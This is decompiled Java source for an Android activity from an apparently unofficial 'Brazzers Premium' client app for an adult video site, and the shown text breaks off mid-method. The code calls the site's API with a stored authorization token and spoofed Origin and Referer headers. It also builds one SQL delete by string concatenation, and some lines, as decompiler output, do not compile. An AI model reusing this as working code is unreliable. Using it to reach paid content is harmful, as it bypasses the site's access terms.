Brazzers Premium v2.1.5版本的 MD5 值为:822198ebc1561433ac78052c8b72a0ea

以下内容为反编译后的 ViewVideoSeries.java 源代码,内容仅作参考


package com.xhubapp.brazzers.aio.activity;

import ab.l;
import android.app.Application;
import android.content.ContentValues;
import android.content.Context;
import android.content.Intent;
import android.database.SQLException;
import android.database.sqlite.SQLiteDatabase;
import android.graphics.drawable.ColorDrawable;
import android.os.Build;
import android.os.Bundle;
import android.util.DisplayMetrics;
import android.view.Display;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ArrayAdapter;
import android.widget.ListAdapter;
import android.widget.ListView;
import android.widget.TableLayout;
import androidx.appcompat.widget.Toolbar;
import androidx.constraintlayout.widget.ConstraintLayout;
import androidx.core.app.ActivityCompat;
import androidx.core.widget.NestedScrollView;
import androidx.recyclerview.widget.GridLayoutManager;
import androidx.recyclerview.widget.LinearLayoutManager;
import androidx.recyclerview.widget.RecyclerView;
import com.davemorrissey.labs.subscaleview.BuildConfig;
import com.google.android.material.appbar.AppBarLayout;
import com.google.android.material.appbar.CollapsingToolbarLayout;
import com.google.android.material.button.MaterialButton;
import com.google.android.material.floatingactionbutton.FloatingActionButton;
import com.google.android.material.imageview.ShapeableImageView;
import com.google.android.material.progressindicator.CircularProgressIndicator;
import com.google.android.material.textview.MaterialTextView;
import com.google.gson.Gson;
import com.unity3d.ads.R;
import com.xhubapp.brazzers.aio.activity.App;
import com.xhubapp.brazzers.aio.activity.ViewVideoSeries;
import com.xhubapp.brazzers.aio.modal.brazzers.Actors;
import com.xhubapp.brazzers.aio.modal.brazzers.Children;
import com.xhubapp.brazzers.aio.modal.brazzers.Collections;
import com.xhubapp.brazzers.aio.modal.brazzers.DataForDB;
import com.xhubapp.brazzers.aio.modal.brazzers.Files;
import com.xhubapp.brazzers.aio.modal.brazzers.Galleries;
import com.xhubapp.brazzers.aio.modal.brazzers.ImageData;
import com.xhubapp.brazzers.aio.modal.brazzers.ImageInt;
import com.xhubapp.brazzers.aio.modal.brazzers.ImageType;
import com.xhubapp.brazzers.aio.modal.brazzers.Images;
import com.xhubapp.brazzers.aio.modal.brazzers.Parent;
import com.xhubapp.brazzers.aio.modal.brazzers.Result;
import com.xhubapp.brazzers.aio.modal.brazzers.ResultForList;
import com.xhubapp.brazzers.aio.modal.brazzers.ResultObject;
import com.xhubapp.brazzers.aio.modal.brazzers.Stats;
import com.xhubapp.brazzers.aio.modal.brazzers.Urls;
import com.xhubapp.brazzers.aio.modal.brazzers.VideoData;
import com.xhubapp.brazzers.aio.modal.brazzers.VideoRes;
import com.xhubapp.brazzers.aio.modal.brazzers.Videos;
import com.xhubapp.brazzers.aio.modal.main.BrazzersSite;
import com.xhubapp.brazzers.aio.modal.main.BrazzersToken;
import com.xhubapp.brazzers.aio.modal.main.SiteApi;
import com.xhubapp.brazzers.aio.modal.player.Movies;
import com.xhubapp.brazzers.aio.utility.f0;
import com.xhubapp.brazzers.aio.utility.k;
import com.xhubapp.brazzers.aio.utility.n;
import com.xhubapp.brazzers.aio.utility.y;
import com.xhubapp.brazzers.aio.utility.z;
import e.o;
import e.r;
import ginom.alfa.lib.scan.ffqmfarpotlmmtkcnrkzsqiwt19;
import i0.c0;
import i0.r0;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Locale;
import java.util.Objects;
import java.util.WeakHashMap;
import r4.e;
import ra.h;
import ra.j;
import ra.j2;
import ra.k2;
import ra.l2;
import ra.m2;
import ra.o2;
import ra.q;
import ra.t1;
import ra.u1;
import ra.v2;
import sa.w;
import ta.f;
import ta.g;
import tb.g0;
import ua.i;
import w2.v;
public final class ViewVideoSeries extends j {
    public static final int f3266l0 = 0;
    public g P;
    public f Q;
    public Movies R;
    public z S;
    public e T;
    public i U;
    public l4.i V;
    public pa.a W;
    public ta.b X;
    public BrazzersSite Y;
    public ta.c Z;
    public SiteApi f3267a0;
    public BrazzersToken f3268b0;
    public ta.d f3269c0;
    public androidx.activity.result.d f3270d0;
    public int f3271e0;
    public Result f3274h0;
    public String O = BuildConfig.FLAVOR;
    public String f3272f0 = "scene";
    public DataForDB f3273g0 = new DataForDB();
    public List f3275i0 = new ArrayList();
    public final List f3276j0 = new ArrayList();
    public final List f3277k0 = new ArrayList();

    public static final class a implements n2.f {
        public a() {
        }

        @Override
        public void a(m2.a aVar) {
            ViewVideoSeries viewVideoSeries = ViewVideoSeries.this;
            int i10 = ViewVideoSeries.f3266l0;
            Objects.requireNonNull(viewVideoSeries);
            pa.a aVar2 = ViewVideoSeries.this.W;
            if (aVar2 == null) {
                a1.g.h("loading");
                throw null;
            }
            aVar2.a();
            f0.f3305a.m(ViewVideoSeries.this, "Get data info failed, please tr again", 1);
        }

        @Override
        public void b(String str) {
            boolean z10;
            ViewVideoSeries viewVideoSeries;
            BrazzersSite brazzersSite;
            Result result;
            pa.a aVar = ViewVideoSeries.this.W;
            if (aVar == null) {
                a1.g.h("loading");
                throw null;
            }
            aVar.a();
            Objects.requireNonNull(ViewVideoSeries.this);
            if (str != null) {
                z10 = false;
                try {
                    viewVideoSeries = ViewVideoSeries.this;
                    brazzersSite = viewVideoSeries.Y;
                } catch (Exception unused) {
                }
                if (brazzersSite == null) {
                    a1.g.h("brazzersSite");
                    throw null;
                }
                String brand = brazzersSite.getBrand();
                a1.g.d(str, "response");
                a1.g.d(brand, "brand");
                String u10 = ob.j.u(ob.j.u(str, "\"images\":[]", "\"images\":{}", false, 4), "\"videos\":[]", "\"videos\":{}", false, 4);
                l4.i iVar = viewVideoSeries.V;
                if (iVar == null) {
                    a1.g.h("init");
                    throw null;
                }
                ResultObject resultObject = (ResultObject) ((Gson) iVar.f7142f).b(u10, ResultObject.class);
                if (resultObject != null && (result = resultObject.getResult()) != null) {
                    try {
                        viewVideoSeries.f3274h0 = result;
                        ViewVideoSeries.t(viewVideoSeries);
                    } catch (Exception unused2) {
                    }
                    if (z10) {
                        return;
                    }
                    f0.f3305a.m(ViewVideoSeries.this, "Get data info failed, please tr again", 1);
                    return;
                }
            }
            z10 = true;
            if (z10) {
            }
        }
    }

    public static final class b implements com.xhubapp.brazzers.aio.utility.a {
        public b() {
        }

        @Override
        public void a() {
            ViewVideoSeries.this.finish();
            f0.f3305a.o(ViewVideoSeries.this);
        }
    }

    public static final class c implements y {
        public c() {
        }

        @Override
        public void a() {
        }

        @Override
        public void b() {
            ViewVideoSeries viewVideoSeries = ViewVideoSeries.this;
            int i10 = ViewVideoSeries.f3266l0;
            viewVideoSeries.y();
        }

        @Override
        public void c() {
        }
    }

    public static final class d implements com.xhubapp.brazzers.aio.utility.a {
        public final MenuItem f3282b;

        public d(MenuItem menuItem) {
            this.f3282b = menuItem;
        }

        @Override
        public void a() {
            ViewVideoSeries viewVideoSeries = ViewVideoSeries.this;
            int itemId = this.f3282b.getItemId();
            a1.g.d(viewVideoSeries, "activity");
            if (itemId == 16908332) {
                viewVideoSeries.finish();
                f0.f3305a.o(viewVideoSeries);
            } else if (itemId == 2131362020) {
                viewVideoSeries.startActivity(new Intent(viewVideoSeries, LocalVideo.class));
                f0.f3305a.n(viewVideoSeries);
            } else if (itemId != 2131362126) {
            } else {
                viewVideoSeries.startActivity(new Intent(viewVideoSeries, MainPage.class));
                f0.f3305a.n(viewVideoSeries);
            }
        }
    }

    public static final void r(ViewVideoSeries viewVideoSeries) {
        Result result = viewVideoSeries.f3274h0;
        if (result == null) {
            return;
        }
        if ((viewVideoSeries.O.length() > 0) && (!result.getCollections().isEmpty())) {
            Collections collections = result.getCollections().get(0);
            SiteApi siteApi = viewVideoSeries.f3267a0;
            if (siteApi == null) {
                a1.g.h("siteApi");
                throw null;
            }
            String videoRelate = siteApi.getVideoRelate();
            Object[] objArr = new Object[4];
            SiteApi siteApi2 = viewVideoSeries.f3267a0;
            if (siteApi2 == null) {
                a1.g.h("siteApi");
                throw null;
            }
            objArr[0] = siteApi2.getHost();
            objArr[1] = Integer.valueOf(collections.getId());
            objArr[2] = a1.g.g("<", viewVideoSeries.O);
            objArr[3] = "scene";
            String a10 = ra.g.a(objArr, 4, videoRelate, "java.lang.String.format(format, *args)");
            pa.a aVar = viewVideoSeries.W;
            if (aVar == null) {
                a1.g.h("loading");
                throw null;
            }
            aVar.b();
            k2.e eVar = new k2.e(a10);
            f0 f0Var = f0.f3305a;
            eVar.f6597g = new g0(f0Var.i());
            eVar.f6598h = f0Var.p(viewVideoSeries);
            BrazzersSite brazzersSite = viewVideoSeries.Y;
            if (brazzersSite == null) {
                a1.g.h("brazzersSite");
                throw null;
            }
            BrazzersToken brazzersToken = viewVideoSeries.f3268b0;
            String a11 = ra.f.a(brazzersToken, brazzersSite, "https://site-ma.");
            LinkedHashMap linkedHashMap = new LinkedHashMap();
            h.a(brazzersToken, linkedHashMap, "Authorization", "Instance");
            linkedHashMap.put("Origin", a11);
            linkedHashMap.put("Referer", a11);
            eVar.a(linkedHashMap);
            eVar.b();
            k2.h hVar = new k2.h(eVar);
            k2 k2Var = new k2(viewVideoSeries, collections);
            hVar.f6617g = 1;
            hVar.f6631u = k2Var;
            o2.b.b().a(hVar);
        }
    }

    public static final void s(ViewVideoSeries viewVideoSeries, List list) {
        l4.i iVar = viewVideoSeries.V;
        if (iVar == null) {
            a1.g.h("init");
            throw null;
        }
        sa.d dVar = new sa.d(iVar, new o2(viewVideoSeries));
        dVar.m(list);
        i iVar2 = viewVideoSeries.U;
        if (iVar2 == null) {
            a1.g.h("binding");
            throw null;
        }
        RecyclerView recyclerView = iVar2.f10730o;
        recyclerView.setLayoutManager(new LinearLayoutManager(0, false));
        recyclerView.setAdapter(dVar);
        i iVar3 = viewVideoSeries.U;
        if (iVar3 != null) {
            iVar3.f10730o.setVisibility(0);
        } else {
            a1.g.h("binding");
            throw null;
        }
    }

    public static final void t(final ViewVideoSeries viewVideoSeries) {
        za.h hVar;
        Throwable th;
        Videos videos;
        VideoData full;
        Videos videos2;
        VideoData mediabook;
        VideoData full2;
        ImageType poster;
        ImageInt imageInt0;
        ImageData sm;
        String url;
        Result result = viewVideoSeries.f3274h0;
        if (result == null) {
            return;
        }
        viewVideoSeries.f3273g0.setId(viewVideoSeries.f3271e0);
        DataForDB dataForDB = viewVideoSeries.f3273g0;
        BrazzersSite brazzersSite = viewVideoSeries.Y;
        if (brazzersSite == null) {
            a1.g.h("brazzersSite");
            throw null;
        }
        dataForDB.setBrand(brazzersSite.getBrand());
        Movies movies = viewVideoSeries.R;
        if (movies == null) {
            a1.g.h("movies");
            throw null;
        }
        StringBuilder sb2 = new StringBuilder();
        BrazzersSite brazzersSite2 = viewVideoSeries.Y;
        if (brazzersSite2 == null) {
            a1.g.h("brazzersSite");
            throw null;
        }
        sb2.append(brazzersSite2.getBrand());
        sb2.append('_');
        sb2.append(viewVideoSeries.f3271e0);
        movies.setUid(sb2.toString());
        Images images = result.getImages();
        if (images != null && (poster = images.getPoster()) != null && (imageInt0 = poster.getImageInt0()) != null && (sm = imageInt0.getSm()) != null && (url = sm.getUrl()) != null) {
            l4.i iVar = viewVideoSeries.V;
            if (iVar == null) {
                a1.g.h("init");
                throw null;
            }
            i iVar2 = viewVideoSeries.U;
            if (iVar2 == null) {
                a1.g.h("binding");
                throw null;
            }
            ShapeableImageView shapeableImageView = iVar2.f10732q;
            a1.g.c(shapeableImageView, "binding.thumbnail");
            ((n) ra.g0.a(10, ((n) ((n) k6.e.e((r) iVar.f7139c).n()).G(url)).J(v.f11156a).o(new ColorDrawable(x.h.b((Context) iVar.f7140d, 2131099914))).g(new ColorDrawable((int) k.a())), true)).C(shapeableImageView);
            Movies movies2 = viewVideoSeries.R;
            if (movies2 == null) {
                a1.g.h("movies");
                throw null;
            } else {
                movies2.setPoster(url);
                viewVideoSeries.f3273g0.setPoster(url);
            }
        }
        if (result.getTitle().length() > 0) {
            i iVar3 = viewVideoSeries.U;
            if (iVar3 == null) {
                a1.g.h("binding");
                throw null;
            }
            iVar3.f10723h.setTitle(result.getTitle());
            i iVar4 = viewVideoSeries.U;
            if (iVar4 == null) {
                a1.g.h("binding");
                throw null;
            }
            iVar4.f10733r.setText(result.getTitle());
            i iVar5 = viewVideoSeries.U;
            if (iVar5 == null) {
                a1.g.h("binding");
                throw null;
            }
            iVar5.f10733r.setVisibility(0);
            Movies movies3 = viewVideoSeries.R;
            if (movies3 == null) {
                a1.g.h("movies");
                throw null;
            } else {
                movies3.setTitle(result.getTitle());
                viewVideoSeries.f3273g0.setTitle(result.getTitle());
            }
        }
        if (viewVideoSeries.z()) {
            g gVar = viewVideoSeries.P;
            if (gVar == null) {
                a1.g.h("historyDB");
                throw null;
            }
            DataForDB dataForDB2 = viewVideoSeries.f3273g0;
            a1.g.d(dataForDB2, "dataForDB");
            try {
                boolean l10 = gVar.l(dataForDB2);
                if (l10) {
                    gVar.r(dataForDB2);
                } else if (!l10) {
                    ContentValues contentValues = new ContentValues();
                    contentValues.put("brand", dataForDB2.getBrand());
                    contentValues.put("video_id", Integer.valueOf(dataForDB2.getId()));
                    contentValues.put("title", dataForDB2.getTitle());
                    contentValues.put("poster", dataForDB2.getPoster());
                    contentValues.put("date", Long.valueOf(System.currentTimeMillis()));
                    SQLiteDatabase writableDatabase = gVar.getWritableDatabase();
                    if (writableDatabase != null) {
                        writableDatabase.insert("history", null, contentValues);
                    }
                    if (gVar.c(dataForDB2.getBrand()) > 100) {
                        String brand = dataForDB2.getBrand();
                        SQLiteDatabase writableDatabase2 = gVar.getWritableDatabase();
                        if (writableDatabase2 != null) {
                            writableDatabase2.execSQL("DELETE FROM history WHERE id IN (SELECT id FROM history WHERE brand = '" + brand + "' ORDER BY date ASC LIMIT 1)");
                        }
                    }
                }
            } catch (SQLException unused) {
            }
        }
        if ((result.getDateReleased().length() > 0) && ob.j.l(result.getDateReleased(), "T", false, 2)) {
            String str = (String) ob.j.w(result.getDateReleased(), new String[]{"T"}, false, 0, 6).get(0);
            viewVideoSeries.O = str;
            i iVar6 = viewVideoSeries.U;
            if (iVar6 == null) {
                a1.g.h("binding");
                throw null;
            }
            TableLayout tableLayout = iVar6.f10731p;
            e eVar = viewVideoSeries.T;
            if (eVar == null) {
                a1.g.h("tabRow");
                throw null;
            }
            tableLayout.addView(e.r(eVar, "Release", str, false, 4));
        }
        Stats stats = result.getStats();
        if (stats != null) {
            if (stats.getViews() > 0) {
                i iVar7 = viewVideoSeries.U;
                if (iVar7 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                TableLayout tableLayout2 = iVar7.f10731p;
                e eVar2 = viewVideoSeries.T;
                if (eVar2 == null) {
                    a1.g.h("tabRow");
                    throw null;
                }
                tableLayout2.addView(e.r(eVar2, "Hits", String.valueOf(stats.getViews()), false, 4));
            }
            if (stats.getRating() > 0) {
                i iVar8 = viewVideoSeries.U;
                if (iVar8 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                TableLayout tableLayout3 = iVar8.f10731p;
                e eVar3 = viewVideoSeries.T;
                if (eVar3 == null) {
                    a1.g.h("tabRow");
                    throw null;
                }
                StringBuilder sb3 = new StringBuilder();
                sb3.append(stats.getRating());
                sb3.append('%');
                tableLayout3.addView(e.r(eVar3, "Rating", sb3.toString(), false, 4));
            }
            if (stats.getLikes() > 0) {
                i iVar9 = viewVideoSeries.U;
                if (iVar9 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                TableLayout tableLayout4 = iVar9.f10731p;
                e eVar4 = viewVideoSeries.T;
                if (eVar4 == null) {
                    a1.g.h("tabRow");
                    throw null;
                }
                tableLayout4.addView(e.r(eVar4, "Likes", String.valueOf(stats.getLikes()), false, 4));
            }
            if (stats.getDislikes() > 0) {
                i iVar10 = viewVideoSeries.U;
                if (iVar10 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                TableLayout tableLayout5 = iVar10.f10731p;
                e eVar5 = viewVideoSeries.T;
                if (eVar5 == null) {
                    a1.g.h("tabRow");
                    throw null;
                }
                tableLayout5.addView(e.r(eVar5, "Dislikes", String.valueOf(stats.getDislikes()), false, 4));
            }
            if (stats.getDownloads() > 0) {
                i iVar11 = viewVideoSeries.U;
                if (iVar11 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                TableLayout tableLayout6 = iVar11.f10731p;
                e eVar6 = viewVideoSeries.T;
                if (eVar6 == null) {
                    a1.g.h("tabRow");
                    throw null;
                }
                tableLayout6.addView(e.r(eVar6, "Downloaded", String.valueOf(stats.getDownloads()), false, 4));
            }
        }
        i iVar12 = viewVideoSeries.U;
        if (iVar12 == null) {
            a1.g.h("binding");
            throw null;
        }
        TableLayout tableLayout7 = iVar12.f10731p;
        e eVar7 = viewVideoSeries.T;
        if (eVar7 == null) {
            a1.g.h("tabRow");
            throw null;
        }
        tableLayout7.addView(e.r(eVar7, "VR Videos", String.valueOf(result.isVR()), false, 4));
        Videos videos3 = result.getVideos();
        if (videos3 == null || videos3.getFull() == null) {
            hVar = null;
        } else {
            i iVar13 = viewVideoSeries.U;
            if (iVar13 == null) {
                a1.g.h("binding");
                throw null;
            }
            TableLayout tableLayout8 = iVar13.f10731p;
            e eVar8 = viewVideoSeries.T;
            if (eVar8 == null) {
                a1.g.h("tabRow");
                throw null;
            } else {
                tableLayout8.addView(e.r(eVar8, "Full Videos", "Available", false, 4));
                hVar = za.h.f12367a;
            }
        }
        if (hVar == null) {
            i iVar14 = viewVideoSeries.U;
            if (iVar14 == null) {
                a1.g.h("binding");
                throw null;
            }
            TableLayout tableLayout9 = iVar14.f10731p;
            e eVar9 = viewVideoSeries.T;
            if (eVar9 == null) {
                a1.g.h("tabRow");
                throw null;
            }
            tableLayout9.addView(e.r(eVar9, "Full Videos", "Not Available", false, 4));
        }
        if (result.getDescription().length() > 0) {
            i iVar15 = viewVideoSeries.U;
            if (iVar15 == null) {
                a1.g.h("binding");
                throw null;
            }
            iVar15.f10724i.setText(result.getDescription());
            i iVar16 = viewVideoSeries.U;
            if (iVar16 == null) {
                a1.g.h("binding");
                throw null;
            }
            iVar16.f10724i.setVisibility(0);
            i iVar17 = viewVideoSeries.U;
            if (iVar17 == null) {
                a1.g.h("binding");
                throw null;
            }
            MaterialTextView materialTextView = iVar17.f10724i;
            a1.g.c(materialTextView, "binding.desc");
            materialTextView.setOnClickListener(new w(materialTextView, 3));
        }
        i iVar18 = viewVideoSeries.U;
        if (iVar18 == null) {
            a1.g.h("binding");
            throw null;
        }
        iVar18.f10725j.setVisibility(0);
        Videos videos4 = result.getVideos();
        if (videos4 != null && (full2 = videos4.getFull()) != null) {
            viewVideoSeries.B(full2, viewVideoSeries.f3276j0);
        }
        i iVar19 = viewVideoSeries.U;
        if (iVar19 == null) {
            a1.g.h("binding");
            throw null;
        }
        iVar19.f10720e.setOnClickListener(new View.OnClickListener(viewVideoSeries) {
            public final ViewVideoSeries A;

            {
                this.A = viewVideoSeries;
            }

            @Override
            public final void onClick(View view) {
                switch (r2) {
                    case 0:
                        ViewVideoSeries viewVideoSeries2 = this.A;
                        int i10 = ViewVideoSeries.f3266l0;
                        a1.g.d(viewVideoSeries2, "this$0");
                        l4.i iVar20 = viewVideoSeries2.V;
                        if (iVar20 != null) {
                            ((App) iVar20.f7138b).h(viewVideoSeries2, false, new u2(viewVideoSeries2));
                            return;
                        } else {
                            a1.g.h("init");
                            throw null;
                        }
                    default:
                        ViewVideoSeries viewVideoSeries3 = this.A;
                        int i11 = ViewVideoSeries.f3266l0;
                        a1.g.d(viewVideoSeries3, "this$0");
                        l4.i iVar21 = viewVideoSeries3.V;
                        if (iVar21 != null) {
                            ((App) iVar21.f7138b).h(viewVideoSeries3, false, new t2(viewVideoSeries3));
                            return;
                        } else {
                            a1.g.h("init");
                            throw null;
                        }
                }
            }
        });
        Videos videos5 = result.getVideos();
        VideoData videoData = (videos5 == null || (videoData = videos5.getMediabook()) == null) ? null : null;
        for (Children children : result.getChildren()) {
            String type = children.getType();
            int hashCode = type.hashCode();
            if (hashCode != -1067215565) {
                if (hashCode != 97889) {
                    if (hashCode == 109254796 && type.equals("scene") && !viewVideoSeries.z()) {
                        viewVideoSeries.f3275i0.add(Integer.valueOf(children.getId()));
                    }
                } else if (type.equals("bts") && !viewVideoSeries.z()) {
                    viewVideoSeries.f3275i0.add(Integer.valueOf(children.getId()));
                }
            } else if (type.equals("trailer")) {
                if (videoData == null && (videos2 = children.getVideos()) != null && (mediabook = videos2.getMediabook()) != null) {
                    videoData = mediabook;
                }
                if (videoData == null && (videos = children.getVideos()) != null && (full = videos.getFull()) != null) {
                    videoData = full;
                }
            }
        }
        if (videoData != null) {
            viewVideoSeries.B(videoData, viewVideoSeries.f3277k0);
        }
        i iVar20 = viewVideoSeries.U;
        if (iVar20 == null) {
            a1.g.h("binding");
            throw null;
        }
        iVar20.f10722g.setOnClickListener(new ra.a(viewVideoSeries));
        Galleries galleries = null;
        for (Galleries galleries2 : result.getGalleries()) {
            if (a1.g.a(galleries2.getFormat(), "caps")) {
                galleries = galleries2;
            }
        }
        if (galleries != null && galleries.getFilesCount() > 0) {
            galleries.setId(viewVideoSeries.f3271e0);
            galleries.setTitle(result.getTitle());
            BrazzersSite brazzersSite3 = viewVideoSeries.Y;
            if (brazzersSite3 == null) {
                a1.g.h("brazzersSite");
                throw null;
            }
            galleries.setBrand(brazzersSite3.getBrand());
            i iVar21 = viewVideoSeries.U;
            if (iVar21 == null) {
                a1.g.h("binding");
                throw null;
            }
            iVar21.f10718c.setText(viewVideoSeries.getString(2131820742, new Object[]{Integer.valueOf(galleries.getFilesCount())}));
            i iVar22 = viewVideoSeries.U;
            if (iVar22 == null) {
                a1.g.h("binding");
                throw null;
            }
            iVar22.f10718c.setVisibility(0);
            i iVar23 = viewVideoSeries.U;
            if (iVar23 == null) {
                a1.g.h("binding");
                throw null;
            }
            iVar23.f10718c.setOnClickListener(new q(viewVideoSeries, galleries));
        }
        final Parent parent = result.getParent();
        if (parent != null) {
            String type2 = parent.getType();
            if (a1.g.a(type2, "serie")) {
                i iVar24 = viewVideoSeries.U;
                if (iVar24 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                iVar24.f10721f.setText(viewVideoSeries.getString(2131820882, new Object[]{parent.getTitle()}));
                i iVar25 = viewVideoSeries.U;
                if (iVar25 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                iVar25.f10721f.setOnClickListener(new View.OnClickListener(viewVideoSeries) {
                    public final ViewVideoSeries A;

                    {
                        this.A = viewVideoSeries;
                    }

                    @Override
                    public final void onClick(View view) {
                        switch (r3) {
                            case 0:
                                ViewVideoSeries viewVideoSeries2 = this.A;
                                Parent parent2 = parent;
                                int i10 = ViewVideoSeries.f3266l0;
                                a1.g.d(viewVideoSeries2, "this$0");
                                a1.g.d(parent2, "$parent");
                                l4.i iVar26 = viewVideoSeries2.V;
                                if (iVar26 != null) {
                                    ((App) iVar26.f7138b).h(viewVideoSeries2, false, new r2(viewVideoSeries2, parent2));
                                    return;
                                } else {
                                    a1.g.h("init");
                                    throw null;
                                }
                            default:
                                ViewVideoSeries viewVideoSeries3 = this.A;
                                Parent parent3 = parent;
                                int i11 = ViewVideoSeries.f3266l0;
                                a1.g.d(viewVideoSeries3, "this$0");
                                a1.g.d(parent3, "$parent");
                                l4.i iVar27 = viewVideoSeries3.V;
                                if (iVar27 != null) {
                                    ((App) iVar27.f7138b).h(viewVideoSeries3, false, new s2(viewVideoSeries3, parent3));
                                    return;
                                } else {
                                    a1.g.h("init");
                                    throw null;
                                }
                        }
                    }
                });
                i iVar26 = viewVideoSeries.U;
                if (iVar26 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                iVar26.f10721f.setVisibility(0);
            } else if (a1.g.a(type2, "movie")) {
                i iVar27 = viewVideoSeries.U;
                if (iVar27 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                iVar27.f10719d.setText(viewVideoSeries.getString(2131820785, new Object[]{parent.getTitle()}));
                i iVar28 = viewVideoSeries.U;
                if (iVar28 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                iVar28.f10719d.setOnClickListener(new View.OnClickListener(viewVideoSeries) {
                    public final ViewVideoSeries A;

                    {
                        this.A = viewVideoSeries;
                    }

                    @Override
                    public final void onClick(View view) {
                        switch (r3) {
                            case 0:
                                ViewVideoSeries viewVideoSeries2 = this.A;
                                Parent parent2 = parent;
                                int i10 = ViewVideoSeries.f3266l0;
                                a1.g.d(viewVideoSeries2, "this$0");
                                a1.g.d(parent2, "$parent");
                                l4.i iVar262 = viewVideoSeries2.V;
                                if (iVar262 != null) {
                                    ((App) iVar262.f7138b).h(viewVideoSeries2, false, new r2(viewVideoSeries2, parent2));
                                    return;
                                } else {
                                    a1.g.h("init");
                                    throw null;
                                }
                            default:
                                ViewVideoSeries viewVideoSeries3 = this.A;
                                Parent parent3 = parent;
                                int i11 = ViewVideoSeries.f3266l0;
                                a1.g.d(viewVideoSeries3, "this$0");
                                a1.g.d(parent3, "$parent");
                                l4.i iVar272 = viewVideoSeries3.V;
                                if (iVar272 != null) {
                                    ((App) iVar272.f7138b).h(viewVideoSeries3, false, new s2(viewVideoSeries3, parent3));
                                    return;
                                } else {
                                    a1.g.h("init");
                                    throw null;
                                }
                        }
                    }
                });
                i iVar29 = viewVideoSeries.U;
                if (iVar29 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                iVar29.f10719d.setVisibility(0);
            }
        }
        if (!viewVideoSeries.z() && (!viewVideoSeries.f3275i0.isEmpty())) {
            pa.a aVar = viewVideoSeries.W;
            if (aVar == null) {
                a1.g.h("loading");
                throw null;
            }
            aVar.b();
            SiteApi siteApi = viewVideoSeries.f3267a0;
            if (siteApi == null) {
                a1.g.h("siteApi");
                throw null;
            }
            String videoListByIds = siteApi.getVideoListByIds();
            Object[] objArr = new Object[2];
            SiteApi siteApi2 = viewVideoSeries.f3267a0;
            if (siteApi2 == null) {
                a1.g.h("siteApi");
                throw null;
            }
            objArr[0] = siteApi2.getHost();
            f0 f0Var = f0.f3305a;
            objArr[1] = f0Var.q(l.f(viewVideoSeries.f3275i0, ";", null, null, 0, null, null, 62));
            k2.e eVar10 = new k2.e(ra.g.a(objArr, 2, videoListByIds, "java.lang.String.format(format, *args)"));
            eVar10.f6597g = new g0(f0Var.i());
            eVar10.f6598h = f0Var.p(viewVideoSeries);
            BrazzersSite brazzersSite4 = viewVideoSeries.Y;
            if (brazzersSite4 == null) {
                a1.g.h("brazzersSite");
                throw null;
            }
            BrazzersToken brazzersToken = viewVideoSeries.f3268b0;
            String a10 = ra.f.a(brazzersToken, brazzersSite4, "https://site-ma.");
            LinkedHashMap linkedHashMap = new LinkedHashMap();
            h.a(brazzersToken, linkedHashMap, "Authorization", "Instance");
            linkedHashMap.put("Origin", a10);
            linkedHashMap.put("Referer", a10);
            eVar10.a(linkedHashMap);
            eVar10.b();
            k2.h hVar2 = new k2.h(eVar10);
            l2 l2Var = new l2(viewVideoSeries);
            hVar2.f6617g = 1;
            hVar2.f6631u = l2Var;
            o2.b.b().a(hVar2);
        }
        Result result2 = viewVideoSeries.f3274h0;
        if (result2 != null) {
            ArrayList arrayList = new ArrayList();
            for (Actors actors : result2.getActors()) {
                arrayList.add(Integer.valueOf(actors.getId()));
            }
            if (!arrayList.isEmpty()) {
                pa.a aVar2 = viewVideoSeries.W;
                if (aVar2 == null) {
                    a1.g.h("loading");
                    throw null;
                }
                aVar2.b();
                SiteApi siteApi3 = viewVideoSeries.f3267a0;
                if (siteApi3 == null) {
                    a1.g.h("siteApi");
                    throw null;
                }
                String actorListByIds = siteApi3.getActorListByIds();
                Object[] objArr2 = new Object[2];
                SiteApi siteApi4 = viewVideoSeries.f3267a0;
                if (siteApi4 == null) {
                    a1.g.h("siteApi");
                    throw null;
                }
                objArr2[0] = siteApi4.getHost();
                f0 f0Var2 = f0.f3305a;
                objArr2[1] = f0Var2.q(l.f(arrayList, ";", null, null, 0, null, null, 62));
                k2.e eVar11 = new k2.e(ra.g.a(objArr2, 2, actorListByIds, "java.lang.String.format(format, *args)"));
                eVar11.f6597g = new g0(f0Var2.i());
                eVar11.f6598h = f0Var2.p(viewVideoSeries);
                BrazzersSite brazzersSite5 = viewVideoSeries.Y;
                if (brazzersSite5 == null) {
                    a1.g.h("brazzersSite");
                    throw null;
                }
                BrazzersToken brazzersToken2 = viewVideoSeries.f3268b0;
                String a11 = ra.f.a(brazzersToken2, brazzersSite5, "https://site-ma.");
                LinkedHashMap linkedHashMap2 = new LinkedHashMap();
                h.a(brazzersToken2, linkedHashMap2, "Authorization", "Instance");
                linkedHashMap2.put("Origin", a11);
                linkedHashMap2.put("Referer", a11);
                eVar11.a(linkedHashMap2);
                eVar11.b();
                k2.h hVar3 = new k2.h(eVar11);
                j2 j2Var = new j2(viewVideoSeries);
                hVar3.f6617g = 1;
                hVar3.f6631u = j2Var;
                o2.b.b().a(hVar3);
            }
        }
        if (viewVideoSeries.z()) {
            i iVar30 = viewVideoSeries.U;
            if (iVar30 == null) {
                a1.g.h("binding");
                throw null;
            }
            iVar30.f10717b.setVisibility(0);
            f fVar = viewVideoSeries.Q;
            if (fVar == null) {
                a1.g.h("favoriteDB");
                throw null;
            }
            boolean l11 = fVar.l(viewVideoSeries.f3273g0);
            if (l11) {
                i iVar31 = viewVideoSeries.U;
                if (iVar31 == null) {
                    a1.g.h("binding");
                    throw null;
                } else {
                    iVar31.f10717b.setImageResource(2131230995);
                    th = null;
                }
            } else {
                if (!l11) {
                    i iVar32 = viewVideoSeries.U;
                    if (iVar32 == null) {
                        a1.g.h("binding");
                        throw null;
                    }
                    iVar32.f10717b.setImageResource(2131230996);
                }
                th = null;
            }
            i iVar33 = viewVideoSeries.U;
            if (iVar33 == null) {
                a1.g.h("binding");
